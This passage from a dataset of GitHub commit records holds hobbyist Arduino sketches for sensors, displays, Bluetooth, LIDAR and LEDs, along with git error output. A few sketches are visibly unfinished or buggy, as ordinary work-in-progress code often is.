constrain(accel_corrected, -90, 90);\n accel_angle = (float)(accel_corrected * accel_scale);\n Serial.print(accel_angle);\n Serial.print(\"\\t\");\n \n \n \/\/ accelerometer_Y_Axis angle calc\n accel_readingy = ay;\n accel_correctedy = accel_readingy - accel_offset;\n accel_correctedy = map(accel_correctedy, -16800, 16800, -90, 90);\n accel_correctedy = constrain(accel_correctedy, -90, 90);\n accel_angley = (float)(accel_correctedy * accel_scale);\n Serial.print(accel_angley);\n Serial.print(\"\\t\");\n \n \n \/\/ gyro_Y_Axis angle calc \n gyro_reading = gy;\n gyro_corrected = (float)((gyro_reading\/131) - gyro_offset); \/\/ 131 is sensivity of gyro from data sheet\n gyro_rate = (gyro_corrected * gyro_scale) * -loop_time; \/\/ loop_time = 0.05 ie 50ms \n gyro_angle = angle + gyro_rate;\n \n \/\/ print values to serial monitor for checking \n Serial.print(accel_angley);\n Serial.print(\"\\t\");\n Serial.print(gyro_corrected);\n Serial.print(\"\\t\");\n Serial.print(gyro_angle);\n Serial.print(\"\\t\");\n Serial.println(\" \");\n \n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n \n\/\/timestamp\ntime_stamp();\n\n\n\n\nif (accel_angle < -1)\n\n{accel_angle = accel_angle*-10;\nmodbus_update();\nregs[0] = accel_angle;\nregs[1] = accel_angley; \n\n}\n\nelse if (accel_angley < -1)\n{accel_angley = accel_angley*-10;\nmodbus_update();\nregs[0] = accel_angle;\nregs[1] = accel_angley; \n}\n\n\n\nelse\n{\nmodbus_update();\nregs[0] = accel_angle;\nregs[1] = accel_angley; \n}\n}\n\nvoid time_stamp(){\n while ((millis() - last_cycle) < 50){\n delay(1);\n }\n \/\/ once loop cycle reaches 50ms, reset timer value and continue\n cycle_time = millis() - last_cycle;\n last_cycle = millis();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'modbus_master_rs485_gyroMPU6050.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"01699c3e417680e376d8ef21fa8f6a402b2044c5","subject":"modify example *.h file","message":"modify example *.h file\n","repos":"itead\/ITEADLIB_Arduino_Nextion,itead\/ITEADLIB_Arduino_Nextion,itead\/ITEADLIB_Arduino_Nextion,FireDeveloper\/ITEADLIB_Arduino_Nextion,FireDeveloper\/ITEADLIB_Arduino_Nextion,itead\/ITEADLIB_Arduino_Nextion","old_file":"examples\/Upload\/Upload.ino","new_file":"examples\/Upload\/Upload.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FireDeveloper\/ITEADLIB_Arduino_Nextion.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3e22d63574c011cbf55530003a2c281ef5e4ceee","subject":"added ComminucateWithSerial.ino","message":"added ComminucateWithSerial.ino\n","repos":"holykss\/learning-iot,holykss\/learning-iot","old_file":"Bluetooth\/ComminucateWithSerial\/ComminucateWithSerial.ino","new_file":"Bluetooth\/ComminucateWithSerial\/ComminucateWithSerial.ino","new_contents":"#include <SoftwareSerial.h>\nSoftwareSerial BT_Serial(10,11); \/\/tx, rx\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n BT_Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if (BT_Serial.available())\n {\n while (BT_Serial.available()) {\n Serial.write(BT_Serial.read());\n \n if (BT_Serial.available() == 0)\n delay(1);\n }\n Serial.write(\"\\n\");\n }\n \n if (Serial.available())\n {\n byte b = Serial.read();\n \n BT_Serial.write(b);\n\/\/ Serial.write(b);\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Bluetooth\/ComminucateWithSerial\/ComminucateWithSerial.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"79d7e05f85f0eb6a92ac1ec451c43e0c8b95d563","subject":"Create K_Nearest_Neighbors_Clapper.ino","message":"Create K_Nearest_Neighbors_Clapper.ino","repos":"baileyherms\/Pattern-Recognition,baileyherms\/Pattern-Recognition","old_file":"K_Nearest_Neighbors_Clapper\/K_Nearest_Neighbors_Clapper.ino","new_file":"K_Nearest_Neighbors_Clapper\/K_Nearest_Neighbors_Clapper.ino","new_contents":"\n\/\/#include <UART_TINY_1MHz_38400.h>\n\/\/#include <digitalWriteFast.h>\n\n\/\/ Distance Sensor\n\/\/ Feature is height\n\/\/ Pre-known object of different heights\n\/\/ Pattern is see what the object is closest to.\n#include <Arduino.h>\n\/\/ arduino-tone-detector - Version: Latest \n#include <ToneDetector.h>\n\n#include \"Object.h\"\n\/\/#include \"CompareObject.h\"\n\n\/\/ #define IR_SENSOR_PIN_1 6\n\nbool wait = false;\n\n\/\/ K Nearest Neighbors\nconst int K = 3;\n\nconst size_t NUM_OF_KNOWN_OBJECTS = 8;\nconst size_t NUM_OF_OBJECT_TYPES = 2;\n\/\/ FIXME: Change to sound types\nString Object_Types[NUM_OF_OBJECT_TYPES] = {\"Acceptable\", \"Unacceptable\"};\n\nObject knownObjects[NUM_OF_KNOWN_OBJECTS];\n\n\/\/ Define max height\/weight\/etc.\n\/\/ FIXME: For each feature\nconst int FREQUENCY_MIN = 1000;\nconst int FREQUENCY_MAX = 2500;\nconst int VOLTAGE_MIN = 0;\nconst int VOLTAGE_MAX = 1024;\nconst int DELAY_MIN = 0;\nconst int DELAY_MAX = 2000;\n\n\/\/ FIXME: Change to the correct trigger voltage\nunsigned int trigger_voltage = 800;\n\n\/\/ Takes the features from the current object and converts them to strings and integers\n\/\/ **\nvoid ObjectFeatureExtraction(Object &currObject) {\n \/\/ Get the various sound features\n \/\/ Call the sound functions and stuff\n unsigned int voltage = analogRead(1);\n uint16_t frequency = readSignal();\n int num_signals = 0;\n unsigned long signal_begin;\n unsigned long signal_end;\n \n while(1) {\n voltage = analogRead(1);\n frequency = readSignal();\n \/\/ If the voltage is loud enough to trigger\n if(voltage > trigger_voltage && voltage < 1024) { \/\/ 1024 is an error\n \/\/ If first time triggered\n if(num_signals == 0) {\n signal_begin = millis();\n num_signals++;\n currObject.frequency1 = frequency;\n currObject.voltage1 = voltage;\n }\n \/\/ If second time triggered\n else {\n signal_end = millis();\n num_signals++;\n currObject.frequency2 = frequency;\n currObject.voltage2 = voltage;\n currObject.delay = signal_end - signal_begin;\n return;\n }\n }\n }\n}\n\nfloat RescaleValue(float value, const float min, const float max) {\n return (value-min)\/(max-min);\n}\n\n\/\/ Rescale object features to 1-0 range\nvoid RescaleObject(Object *object) {\n \/\/ FIXME: For each feature\n object->frequency1 = RescaleValue(object->frequency1, FREQUENCY_MIN, FREQUENCY_MAX);\n object->frequency2 = RescaleValue(object->frequency2, FREQUENCY_MIN, FREQUENCY_MAX);\n object->voltage1 = RescaleValue(object->voltage1, VOLTAGE_MIN, VOLTAGE_MAX);\n object->voltage2 = RescaleValue(object->voltage2, VOLTAGE_MIN, VOLTAGE_MAX);\n object->delay = RescaleValue(object->delay, DELAY_MIN, DELAY_MAX);\n}\n\n\/\/ Computes the euclidean distance between the known and the current object's features\nfloat ComputeDistanceofObjects(Object currObject, Object knownObject) {\n \/\/ FIXME: For each feature\n float freq1_dist = (currObject.frequency1 - knownObject.frequency1);\n float freq2_dist = (currObject.frequency2 - knownObject.frequency2);\n float volt1_dist = (currObject.voltage1 - knownObject.voltage1);\n float volt2_dist = (currObject.voltage2 - knownObject.voltage2);\n float delay_dist = (currObject.delay - knownObject.delay);\n \n float freq1 = freq1_dist*freq1_dist;\n float freq2 = freq2_dist*freq2_dist;\n float volt1 = volt1_dist*volt1_dist;\n float volt2 = volt1_dist*volt1_dist;\n float delay = delay_dist*delay_dist;\n float dist = freq1 + freq2 + volt1 + volt2 + delay;\n \n return dist;\n}\n\n\/\/ Finds the patterns from the current object and compares them to patterns from the given objects\n\/\/ **\nString ObjectPatternRecognition(Object currObject, Object knownObjects[]) {\n int count = 0;\n int max_count = 0;\n String most_frequent_type;\n\n Object kNearestObjects[K];\n \n \/\/ First K known objects are the closest K, obviously, so just fill array\n for(int i = 0; i < K; ++i) {\n kNearestObjects[i].type = knownObjects[i].type;\n kNearestObjects[i].frequency1 = knownObjects[i].frequency1;\n kNearestObjects[i].frequency2 = knownObjects[i].frequency2;\n kNearestObjects[i].voltage1 = knownObjects[i].voltage1;\n kNearestObjects[i].voltage2 = knownObjects[i].voltage2;\n kNearestObjects[i].delay = knownObjects[i].delay;\n }\n \n \/\/ Now, determine if each remaining object is among the K closest, and if so insert into array (thus dropping one obj)\n for(int i = K; i < NUM_OF_KNOWN_OBJECTS; ++i) { \/\/ For each remaining known object\n int j;\n\n \/\/ Find the current max difference in the K nearest objects\n float max_diff_of_K_nearest = 0;\n int max_index = 0;\n float temp_dist = 0;\n\n for(j = 0; j < K; ++j) {\n \/\/ kNearest Objects is the difference between the currObject and the knownObjects\n \/\/ ComputeDistanceofObjects should compute the total distance for kNearestObjects[j]\n \/\/ May just add this to the above\n temp_dist = ComputeDistanceofObjects(currObject, kNearestObjects[j]);\n\n if(temp_dist > max_diff_of_K_nearest) { \/\/ Update max\n max_diff_of_K_nearest = temp_dist;\n max_index = j;\n }\n }\n\n \/\/ If the current known object's difference < the max difference in the current K nearest neighbors\n temp_dist = ComputeDistanceofObjects(currObject, knownObjects[i]);\n\n if(temp_dist < max_diff_of_K_nearest) {\n \/\/ Replace the existing neighbor having max_diff_of_K_nearest, by the current known object, in the K nearest neighbors array\n kNearestObjects[max_index].type = knownObjects[i].type;\n kNearestObjects[i].frequency1 = knownObjects[i].frequency1;\n kNearestObjects[i].frequency2 = knownObjects[i].frequency2;\n kNearestObjects[i].voltage1 = knownObjects[i].voltage1;\n kNearestObjects[i].voltage2 = knownObjects[i].voltage2;\n kNearestObjects[i].delay = knownObjects[i].delay;\n }\n }\n\n \/\/ For testing purposes\n for(int i = 0; i < K; ++i) {\n Serial.println(kNearestObjects[i].type);\n Serial.println(kNearestObjects[i].frequency1);\n Serial.println(kNearestObjects[i].frequency2);\n Serial.println(kNearestObjects[i].voltage1);\n Serial.println(kNearestObjects[i].voltage2);\n Serial.println(kNearestObjects[i].delay);\n }\n\n \/\/ Find out which object type occurs most frequently\n for(int i = 0; i < NUM_OF_OBJECT_TYPES; ++i) {\n int j;\n count = 0;\n for(j = 0; j < K; ++j) {\n if(kNearestObjects[j].type == Object_Types[i]) {\n count++;\n }\n }\n if(count > max_count) {\n max_count = count;\n most_frequent_type = Object_Types[i];\n }\n }\n \n return most_frequent_type;\n}\n\n\/\/ Prints the type of object that is being passed through the project\n\/\/ **\nvoid Actuation(String object) {\n if(object != \"\") {\n Serial.print(\"\\t\");\n Serial.println(object);\n }\n}\n\nvoid PopulateKnownObjects() {\n \/\/ Change values and measure\n knownObjects[0].type = \"Acceptable\";\n knownObjects[0].frequency1 = 200;\n knownObjects[0].frequency2 = 200;\n knownObjects[0].voltage1 = 200;\n knownObjects[0].voltage2 = 200;\n knownObjects[0].delay = 200;\n \n knownObjects[1].type = \"Unacceptable\";\n knownObjects[1].frequency1 = 200;\n knownObjects[1].frequency2 = 200;\n knownObjects[1].voltage1 = 200;\n knownObjects[1].voltage2 = 200;\n knownObjects[1].delay = 200;\n}\n\nvoid setup() {\n Serial.begin(9600);\n \n PopulateKnownObjects();\n \n \/\/ May need to use the below for this case\n \/\/Serial.begin(115200);\n \n \/\/ Microphone function\n setToneDetectorControlDefaults();\n \/\/ Tone range\n setToneDetectorMatchValues(1000, 2500);\n}\n\nvoid loop() {\n String closestObject;\n \n Object currObject;\n \n ObjectFeatureExtraction(currObject);\n\n closestObject = ObjectPatternRecognition(currObject, knownObjects);\n\n Actuation(closestObject);\n\n delay(1000);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'K_Nearest_Neighbors_Clapper\/K_Nearest_Neighbors_Clapper.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d6a03e3c2202cfece82905012eac89becd705e7f","subject":"Fixed cycling bug.","message":"Fixed cycling bug.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9c47fcfc3969b53d20166d1df0c6615bbe4abee7","subject":"Add arduino Lidar and servo sweeping code","message":"Add arduino Lidar and servo sweeping code\n","repos":"Erik-J-D\/SYDE361-AutomotiveIOT-PhoneApp-Sensors,Erik-J-D\/SYDE361-AutomotiveIOT-PhoneApp-Sensors,Erik-J-D\/SYDE361-AutomotiveIOT-PhoneApp-Sensors,Erik-J-D\/SYDE361-AutomotiveIOT-PhoneApp-Sensors,Erik-J-D\/SYDE361-AutomotiveIOT-PhoneApp-Sensors","old_file":"arduino\/LidarServo\/LidarServo.ino","new_file":"arduino\/LidarServo\/LidarServo.ino","new_contents":"#include <I2C.h>\n#include <Servo.h> \n#define LIDARLite_ADDRESS 0x62 \/\/ Default I2C Address of LIDAR-Lite.\n#define RegisterMeasure 0x00 \/\/ Register to write to initiate ranging.\n#define MeasureValue 0x04 \/\/ Value to initiate ranging.\n#define RegisterHighLowB 0x8f \/\/ Register to get both High and Low bytes in 1 call.\n\nServo myservo;\nint pos = 0;\nint range = 0;\n\nint STARTANGLE = 45;\nint ENDANGLE = 135;\n\nvoid setup() {\n Serial.begin(9600); \/\/Opens serial connection at 9600bps.\n I2c.begin(); \/\/ Opens & joins the irc bus as master\n delay(100); \/\/ Waits to make sure everything is powered up before sending or receiving data\n I2c.timeOut(50); \/\/ Sets a timeout to ensure no locking up of sketch if I2C communication fails\n \n myservo.attach(13);\n}\n\nint getLidarRange(){\n \/\/ Write 0x04 to register 0x00\n uint8_t nackack = 100; \/\/ Setup variable to hold ACK\/NACK resopnses\n while (nackack != 0) { \/\/ While NACK keep going (i.e. continue polling until sucess message (ACK) is received )\n nackack = I2c.write(LIDARLite_ADDRESS, RegisterMeasure, MeasureValue); \/\/ Write 0x04 to 0x00\n delay(1); \/\/ Wait 1 ms to prevent overpolling\n }\n\n byte distanceArray[2]; \/\/ array to store distance bytes from read function\n\n \/\/ Read 2byte distance from register 0x8f\n nackack = 100; \/\/ Setup variable to hold ACK\/NACK resopnses\n while (nackack != 0) { \/\/ While NACK keep going (i.e. continue polling until sucess message (ACK) is received )\n nackack = I2c.read(LIDARLite_ADDRESS, RegisterHighLowB, 2, distanceArray); \/\/ Read 2 Bytes from LIDAR-Lite Address and store in array\n delay(1); \/\/ Wait 1 ms to prevent overpolling\n }\n int distance = (distanceArray[0] << 8) + distanceArray[1]; \/\/ Shift high byte [0] 8 to the left and add low byte [1] to create 16-bit int\n return distance;\n}\n\nvoid spinAndScan(int pos){\n \/\/ move servo to position\n myservo.write(pos);\n\n \/\/scan and print distance\n range = getLidarRange();\n Serial.print(\"range: \");\n Serial.print(range);\n Serial.print(\" pos: \");\n Serial.println(pos - 90);\n}\n \n\nvoid loop() { \n for(pos = STARTANGLE; pos < ENDANGLE; pos += 1){\n spinAndScan(pos);\n }\n for(pos = ENDANGLE; pos>=STARTANGLE; pos-=1){\n spinAndScan(pos);\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/LidarServo\/LidarServo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b95dcf51e25e002e38ebc21208f3ad00ed2228e5","subject":"Remove duplicate arduino directory","message":"Remove duplicate arduino directory\n","repos":"DanCrank\/motor-test,DanCrank\/motor-test,DanCrank\/motor-test,DanCrank\/motor-test,DanCrank\/motor-test","old_file":"arduino\/motor_test\/motor_test.ino","new_file":"arduino\/motor_test\/motor_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DanCrank\/motor-test.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"66e78f5766625007ce0eb072fbe1969554c9dc15","subject":"ardunio force sensitive resistor functionality","message":"ardunio force sensitive resistor functionality\n","repos":"unused\/bierfit,unused\/bierfit","old_file":"arduino\/sketch_fsr\/sketch_fsr.ino","new_file":"arduino\/sketch_fsr\/sketch_fsr.ino","new_contents":"\/* Bierfit -> Beermat with Force Sensitive Resistor\n\n\nFor more information see www.ladyada.net\/learn\/sensors\/fsr.html *\/\n \nint fsrPin = 0; \/\/ the FSR and 10K pulldown are connected to a0\nint fsrReading; \/\/ the analog reading from the FSR resistor divider\nint fsrVoltage; \/\/ the analog reading converted to voltage\nunsigned long fsrResistance; \/\/ The voltage converted to resistance, can be very big so make \"long\"\nunsigned long fsrConductance; \nlong fsrForce; \/\/ Finally, the resistance converted to force\n \nvoid setup(void) {\n Serial.begin(9600); \/\/ We'll send debugging information via the Serial monitor\n}\n \nvoid loop(void) {\n fsrReading = analogRead(fsrPin); \n \n \/\/ analog voltage reading ranges from about 0 to 1023 which maps to 0V to 5V (= 5000mV)\n fsrVoltage = map(fsrReading, 0, 1023, 0, 5000);\n \n if (fsrVoltage == 0) {\n \/\/Serial.println(\"No pressure\"); \n \/\/ TODO: something usefull (maybe have a beer)\n } else {\n \/\/ The voltage = Vcc * R \/ (R + FSR) where R = 10K and Vcc = 5V\n \/\/ so FSR = ((Vcc - V) * R) \/ V yay math!\n fsrResistance = 5000 - fsrVoltage; \/\/ fsrVoltage is in millivolts so 5V = 5000mV\n fsrResistance *= 10000; \/\/ 10K resistor\n fsrResistance \/= fsrVoltage;\n \n fsrConductance = 1000000; \/\/ we measure in micromhos so \n fsrConductance \/= fsrResistance;\n\n \/\/ Use the two FSR guide graphs to approximate the force\n if (fsrConductance <= 1000) {\n fsrForce = fsrConductance \/ 80;\n } else {\n fsrForce = fsrConductance - 1000;\n fsrForce \/= 30; \n }\n\n\n \/\/ CSV values \n \/\/Analog reading, Voltage reading in mV, FSR resistance in ohms, Conductance in microMhos, Force in Newtons\n Serial.print(fsrReading);\n Serial.print(\",\");\n \n Serial.print(fsrVoltage);\n Serial.print(\",\"); \n \n Serial.print(fsrResistance);\n Serial.print(\",\");\n \n Serial.print(fsrConductance);\n Serial.print(\",\");\n \n Serial.println(fsrForce); \n \n }\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sketch_fsr\/sketch_fsr.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9401220fe373d790999458f5f2e08015d368d93b","subject":"Implement command architecture described at http:\/\/codepen.io\/anon\/pen\/nxhzt\/ Prepare firmware for switch to drv8833 motor driver chip","message":"Implement command architecture described at http:\/\/codepen.io\/anon\/pen\/nxhzt\/\nPrepare firmware for switch to drv8833 motor driver chip\n","repos":"codefox421\/brickster,nickiaconis\/brickster","old_file":"8884bt Remote Control Receiver\/firmware\/brickster8884bt.ino","new_file":"8884bt Remote Control Receiver\/firmware\/brickster8884bt.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '8884bt' did not match any file(s) known to git\nerror: pathspec 'Remote' did not match any file(s) known to git\nerror: pathspec 'Control' did not match any file(s) known to git\nerror: pathspec 'Receiver\/firmware\/brickster8884bt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"558cc830fe5de17b76395a871e39110096260da4","subject":"Added display.ino","message":"Added display.ino\n","repos":"Vogs27\/WerCA,Vogs27\/WerCA,Vogs27\/WerCA,Vogs27\/WerCA","old_file":"Modules\/display\/display.ino","new_file":"Modules\/display\/display.ino","new_contents":"#include <SPI.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_PCD8544.h>\n\/\/ Software SPI (slower updates, more flexible pin options):\n\/\/ pin 7 - Serial clock out (SCLK)\n\/\/ pin 6 - Serial data out (DIN)\n\/\/ pin 5 - Data\/Command select (D\/C)\n\/\/ pin 4 - LCD chip select (CS)\n\/\/ pin 3 - LCD reset (RST)\n\nAdafruit_PCD8544 display = Adafruit_PCD8544(7, 6, 5, 4, 3);\n static const unsigned char PROGMEM logo33_glcd_bmp[] =\n{\n \tB00000000, B00000000, B00000001, B11100000, \/\/ #### \n\tB00000000, B00000000, B00000011, B11000000, \/\/ #### \n\tB00000000, B00000000, B00000011, B11000000, \/\/ #### \n\tB00000000, B00000000, B00000011, B11000000, \/\/ #### \n\tB00000000, B00000000, B00000111, B10000000, \/\/ #### \n\tB00000000, B00000000, B00000111, B00000000, \/\/ ### \n\tB00000000, B00000000, B00001111, B00000000, \/\/ #### \n\tB00000000, B00000000, B00001111, B00000000, \/\/ #### \n\tB00000011, B11111000, B00011110, B00000000, \/\/ ####### #### \n\tB00001111, B11111110, B00011110, B00000000, \/\/ ########### #### \n\tB00011111, B11111110, B00111100, B00000000, \/\/ ############ #### \n\tB00111110, B00111100, B00111100, B00000000, \/\/ ##### #### #### \n\tB01111100, B00000100, B00111100, B00000000, \/\/ ##### # #### \n\tB01111000, B00000000, B01111000, B01000000, \/\/ #### #### # \n\tB11110000, B00000000, B01111000, B01000000, \/\/ #### #### # \n\tB11110000, B00000000, B11110000, B11100000, \/\/ #### #### ### \n\tB11110000, B00000000, B11110000, B11100000, \/\/ #### #### ### \n\tB11110000, B00000001, B11100000, B11100000, \/\/ #### #### ### \n\tB11110000, B00000001, B11100000, B11110000, \/\/ #### #### #### \n\tB01111000, B00000011, B11000000, B11110000, \/\/ #### #### #### \n\tB01111100, B00000011, B11000000, B01111000, \/\/ ##### #### #### \n\tB00111111, B10000011, B11000000, B01111000, \/\/ ####### #### #### \n\tB00011111, B10000111, B10000000, B00111100, \/\/ ###### #### #### \n\tB00001111, B10000111, B10000000, B00111100, \/\/ ##### #### #### \n\tB00000001, B10001111, B00000000, B00011110, \/\/ ## #### ####\n\tB00000000, B00001111, B00000000, B00000000, \/\/ #### \n\tB00000000, B00011110, B00000000, B00000000, \/\/ #### \n\tB00000000, B00011110, B00000000, B00000000, \/\/ #### \n\tB00000000, B00111100, B00000000, B00000000, \/\/ #### \n\tB00000000, B00111100, B00000000, B00000000, \/\/ #### \n\tB00000000, B00111100, B00000000, B00000000, \/\/ #### \n\tB00000000, B01111000, B00000000, B00000000, \/\/ #### \n};\nstatic const unsigned char PROGMEM phone78[] = \n{\n\tB11100000, \/\/ ### \n\tB11110000, \/\/ ####\n\tB11000000, \/\/ ##\n\tB01100000, \/\/ ##\n\tB00110000, \/\/ ##\n\tB00011110, \/\/ ####\n\tB00001111, \/\/ ####\n\n\n};\n\nstatic const unsigned char PROGMEM mail710[] = \n{\n\tB11111111, B11111111, \/\/################\n B11000000, B00000011, \/\/## ##\n B10110000, B00001101, \/\/# ## ## #\n B10001100, B00110001, \/\/# ## ## #\n B10000001, B10000001, \/\/# ## #\n B10000000, B00000001, \/\/# #\n B11111111, B11111111, \/\/################\n\t};\n\nstatic const unsigned char PROGMEM msg716[] = \n{\n\tB00001111, B11100000,\t\/\/ #######\n\tB00110000, B00011000,\t\/\/ ## ## \n\tB01000000, B00000100,\t\/\/ # #\n\tB10000000, B00000010,\t\/\/ # #\n\tB10000000, B00000010,\t\/\/ # #\n\tB01000000, B00000110,\t\/\/ # ##\n\tB00110000, B00011110,\t\/\/ ## ####\n\tB00001111, B11100001,\t\/\/ ####### # \n\t};\nstatic const unsigned char PROGMEM other7[] = \nvoid setup() {\n randomSeed(analogRead(0));\n display.begin();\n display.clearDisplay();\n display.setContrast(25);\n display.setTextSize(1);\n display.setTextColor(BLACK);\n display.setCursor(9, 0);\n display.println(\"Waiting for\");\n display.setCursor(12, 8);\n display.println(\"connection\");\n display.drawBitmap(26, 20, logo33_glcd_bmp, 32 , 32, BLACK);\n display.display();\n delay(2000);\n display.clearDisplay();\n display.setCursor(12, 0);\n display.println(\"Connection\");\n display.setCursor(11, 8);\n display.println(\"successful!\");\n display.drawBitmap(26, 20, logo33_glcd_bmp, 32 , 32, BLACK);\n display.display();\n messages(random(19));\n}\n\n\nvoid loop() {\n \n}\n\nvoid messages(int numbermsg){\n display.drawBitmap(0,11, msg24, 7, 7, BLACK);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modules\/display\/display.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ccb8cd29d26774e93c1eb4fc939c800950edf53b","subject":"tested on laser cutter","message":"tested on laser cutter\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"776d57574044b68ca387c908a121dad01c915dea","subject":"Added a smaller set of LED rows","message":"Added a smaller set of LED rows\n\nThis one does not have the \"leakage\"\non other LEDs\n\nSigned-off-by: nisha <ba6353e519422079c5746796dcd035c620a84798@gmail.com>\n","repos":"nishakm\/blinkybracelet","old_file":"sketch_blinkybracelet_3x2\/sketch_blinkybracelet_3x2.ino","new_file":"sketch_blinkybracelet_3x2\/sketch_blinkybracelet_3x2.ino","new_contents":"\/*\n * BlinkyBracelet powered by Arduino Uno 3\n * Using 3 LEDs in 2 rows\n * This is for debugging a short row of LEDs\n * \n * author: Nisha K\n * nishakumarx@gmail.com\n *\/\n\n\/*\n * struct to store led pin high and pin low\n * In a 3x2 matrix there are 3 pins\n * One will go High, one will go Low and the\n * third is a high impedence\n *\/\ntypedef struct{\n int pinHigh;\n int pinLow;\n int pinHiImp; \/\/ we do this because we are charlieplexing\n} LED;\n\n\/* \n * Array of leds \n * This is assuming we are using these lines:\n * 3, 5, 6\n *\/\nLED leds[6] = {{6, 5, 3},\n {5, 6, 3},\n {6, 3, 5}, \/\/row 1\n {5, 3, 6},\n {3, 5, 6},\n {3, 6, 5}}; \/\/row 2\n\n\/*\n * Reset all LEDs \n * This means turn all pins into\n * OUTPUT and bring them down to LOW\n *\/\nvoid reset()\n{\n pinMode(3, OUTPUT);\n pinMode(5, OUTPUT);\n pinMode(6, OUTPUT);\n digitalWrite(3, LOW);\n digitalWrite(5, LOW);\n digitalWrite(6, LOW); \n}\n\nvoid reset2()\n{\n pinMode(3, INPUT);\n pinMode(5, INPUT);\n pinMode(6, INPUT);\n}\n\n\/*\n * Turn on a list of LEDs \n * We need to do a list because the LEDs\n * are all tied together\n *\/\nvoid turnOn(int indexArray[], int len)\n{ \n for (int i=0; i<len; i++)\n {\n int ledNo = indexArray[i]-1;\n \/\/ set pinmode\n reset2();\n pinMode(leds[ledNo].pinHigh, OUTPUT);\n pinMode(leds[ledNo].pinLow, OUTPUT);\n pinMode(leds[ledNo].pinHiImp, INPUT);\n \/\/ turn it on\n digitalWrite(leds[ledNo].pinLow, LOW);\n digitalWrite(leds[ledNo].pinHigh, HIGH);\n delay(1);\n }\n}\n\n\/*\n * Return a delay based on the number of LEDs\n * We do this because the time taken to setup\n * the pins increases exponentially as the number\n * of LEDs increase so we cannot set a constant loop\n * number\n *\/\nint delayLoop(int noLeds)\n{\n int loopNum = 1000;\n switch(noLeds)\n {\n case 1:\n loopNum = 1300;\n break;\n case 2:\n loopNum = 800;\n break;\n case 3:\n loopNum = 500;\n break;\n case 4:\n loopNum = 400;\n break;\n case 5:\n loopNum = 300;\n break; \n }\n return loopNum;\n}\n\nvoid setup()\n{\n reset();\n randomSeed(analogRead(A0)); \/\/seed random number generator\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ Generate a random number of leds that will light up\n int noLeds = (int) random(1,4);\n int onLeds[noLeds];\n Serial.println(\"No of leds\");\n Serial.println(noLeds);\n \/\/ get the first random number within the total number of leds\n onLeds[0] = (int) random(1,7);\n Serial.println(\"--------\");\n Serial.println(onLeds[0]);\n int dupes, randNo;\n for (int i=1; i<noLeds; i++)\n {\n \/\/ generate a random number\n \/\/ that is unique\n do\n {\n randNo = (int) random(1,7);\n dupes = 0;\n for (int j=0; j<i; j++)\n {\n if (onLeds[j] == randNo)\n {\n dupes++;\n }\n }\n } while (dupes > 0);\n \n onLeds[i] = randNo;\n Serial.println(randNo);\n }\n Serial.println(\"------\");\n for (int i=0; i<delayLoop(noLeds); i++)\n {\n turnOn(onLeds, noLeds);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_blinkybracelet_3x2\/sketch_blinkybracelet_3x2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"67bd75f449ff6fe2a4ba2b7de464f313f146baee","subject":"MRLComm version 21","message":"MRLComm version 